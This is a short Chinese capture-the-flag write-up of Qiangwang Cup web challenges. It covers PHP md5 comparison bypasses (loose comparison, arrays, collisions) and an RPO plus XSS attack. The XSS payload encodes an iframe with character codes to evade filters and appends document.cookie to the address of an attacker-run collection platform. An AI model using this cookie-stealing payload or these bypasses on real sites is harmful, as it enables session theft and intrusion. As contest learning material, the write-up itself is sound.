qwb writeup

这次强网杯全程陪跑,师弟们是在是厉害,在这里我来复现一下师弟们提交的flags

web 签到

第一层 md5 绕过

if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
							die("success!");
						}

没什么好讲的,详细可以看看这里。https://blog.csdn.net/dongyanwen6036/article/details/77658983https://blog.csdn.net/dongyanwen6036/article/details/77658983
第二层 数组绕过,也是没什么好讲的。

if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
							die("success!");
						}

md5(array) = false 就过了,https://github.com/Insh3ll/shareDoc/blob/master/php-数组-md5-函数特性绕过.md
第三曾 md5 碰撞 图片详情这里
https://link.jianshu.com/?t=http://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html

if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
					die("success!);
				}

要注意decode(‘hex’)就好
成功之后会返回flag出来的

share your mind

用了rpo+xss去完成
在文章录入界面,能够进行rpo攻击,但是有一个比较严肃的问题,就是关于过滤这一点
一开始在这边坑了很久,不能用尖括号,不能用引号,最后采用了拼接charcode的方式执行,xss的payload 如下,其中地址部分使用伪代码实现:

var qwb = document.createElement(String.fromCharCode(105, 102, 114, 97, 109, 101));
qwb.src = String.fromCharCode(`map(ord,yourxssplatfromaddress)`)+document.cookie;
document.body.appendChild(qwb);

一开始用自己的平台一直收不到东西,后来靠瓦论特大佬的平台来搞定。
第一次打过去有个hint,第二次用iframe 嵌套才能打到真正的弗拉格

ai-animals

这题。。。那测试文件b64一下扔过去直接过了。。。也是可爱。。没有什么好说的。

Three-hints

能给大佬递茶的,要么名字够厉害,要么年龄够厉害。
一波操作之后,这两个地方能够实现二次注入。
格式限制不是问题,我还可以进行bin2ascii一波进行操作。
timtu-pian-20180326160827

标题有点白学,溜了[